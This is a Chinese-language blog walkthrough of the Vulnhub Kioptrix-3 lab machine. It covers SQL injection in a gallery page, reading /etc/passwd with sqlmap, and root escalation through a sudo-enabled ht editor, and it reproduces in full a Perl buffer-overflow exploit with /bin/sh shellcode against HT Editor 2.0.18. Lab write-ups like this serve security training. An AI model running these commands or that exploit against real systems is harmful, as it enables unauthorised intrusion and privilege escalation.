0%

Vulnhub-Kioptrix-3

这是群里大佬推荐我做的靶机之一。

这个靶机的作者说有多种方式可以拿到shell。

nmap扫描结果

路径探测

直接访问会报错,感觉应该存在sql注入

漏洞利用 方法一

试着传了个?id=1,有输出。估计应该是能在这个页面做手脚了,但是不清楚网站有没有过滤。

最后判断闭合。单引号,双引号都报错,数字型如果不闭合也会报错,可能网站原本是这样查询的吧

1
select ...... from table where id={$id} order by ....

所以这里即使是数字型的也要手动给它闭合

最后爆破出dev_account表下的帐号密码。(这里就不贴了

sqlmap读取目标机器上的文件

1
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1" -file-read="/etc/passwd"

dev_account表下的帐号密码,其实就目标机器的用户帐号密码。
直接拿着它ssh登录上去,到目标机器之后,发现我拿得用户还有sudo权限。

提权

看着有su,其实是骗你的。su的正确路径是/bin/su,这里我被ht卡了一会。我甚至一开始都不知道ht这是个什么东西。结果谷歌之后才知道是个二进制编辑器。。。等等,编辑器?拥有sudo权限的编辑器?直接该sudoers 或者给/etc/passwd添加个用户不就提权成功了吗?

想到这里,立马开搞。但是又遇到了新的问题。

遇到问题,Don’t be afraid。谷歌它

解决方案 "https://stackoverflow.com/questions/6804208/nano-error-error-opening-terminal-xterm-256color"
1
export TERM=xterm

不过我一打开就傻眼了

经过多方谷歌和看help,终于会简单的保存退出了:)

这里的1,2,3….对应的是F1,F2,F3

所以如果你在这里被困住了,直接用F1查看键位帮助。

不知道是不是我理解错了还是傻,按F2没有保存提示,不过在按F10退出后会用提示是否保存。

修改好后,直接切换到test用户即可。

方法二get-shell

在cms登录页面中看到

知道是什么cms后,我们可以搜索下这个cms,看看有没有exp可以利用。

一个是存储性的xss,而我们这个目标是靶机。。所以利用不上,另外一个则是msf的脚本了。(其实我真的不怎么想用msf框架。。

这里接下来的提权道路可以是利用ht编辑器的缓冲区溢出漏洞。

同样是利用lotuscms3.0漏洞,不过使用这个expLotusCMS 3.0 PHP Code Execution可以避免使用msf框架。

利用缓冲区溢出

因为ht编辑器是2.0.18,所以可以考虑使用缓冲区溢出HT Editor 2.0.18 - File Opening Stack Overflow
适用于perl5.8.8的代码

来自"http://forelsec.blogspot.com/2012/12/solving-kioptrix-level-3.html"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
my ($esp, $retaddr);
my $scz = [ "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e" .
"\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8" .
"\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67" .
"\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30" .
"\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4" .
"\x53\x52\x54\x8a\xe2\xce\x81",
"\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b" .
"\x08\x89\x43\x0c\x50\x8d\x53\x08\x52\x53" .
"\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff" .
"/bin/sh" ];

print "[*]Looking for \$esp and endwin()...\n";

my $namez = [qw#/usr/local/bin/ht#];

my $infos = get_infos(qx{uname});
my $name = $infos->[0];


print "[+]endwin() address found! (0x", $infos->[3],")\n";

for my $line(qx{objdump -D $name | grep "ff e4"}) {
$esp = "0" . $1, last if ($line =~ m{([a-f0-9]{7}).+jmp\s{4}\*%esp});
}

print "[+]\$esp place found! (0x", $esp, ")\012Now exploiting...\n";

my @payload = ($infos->[0], ("A" x ($infos->[1] - length(qx{pwd}))) . reverse(pack('H*', $infos->[3])) . reverse(pack('H*', $esp)) . $infos->[2]);
exec(@payload);

sub get_infos {
if($_[0] =~ /Linux/){
return([$namez->[0], 4108, $scz->[0], getendwin("linux")]);
}
elsif($_[0] =~ /FreeBSD/){
return([$namez->[1], 271, $scz->[1], getendwin("freebsd")]);
}
}

sub getendwin {
if($_[0] =~ /linux/){
my $n = $namez->[0];
for (qx{objdump -d $n | grep endwin}){
$retaddr = $1, last if ($_ =~ m{(.*) <});
}
return($retaddr);
}
elsif($_[0] =~ /freebsd/){
return("282c2990");
}
}

尝试利用ht编辑器的缓冲区溢出漏洞,不过没有我想象中的效果

不过我看其他人的walkthrough是可以拿到rootshell的。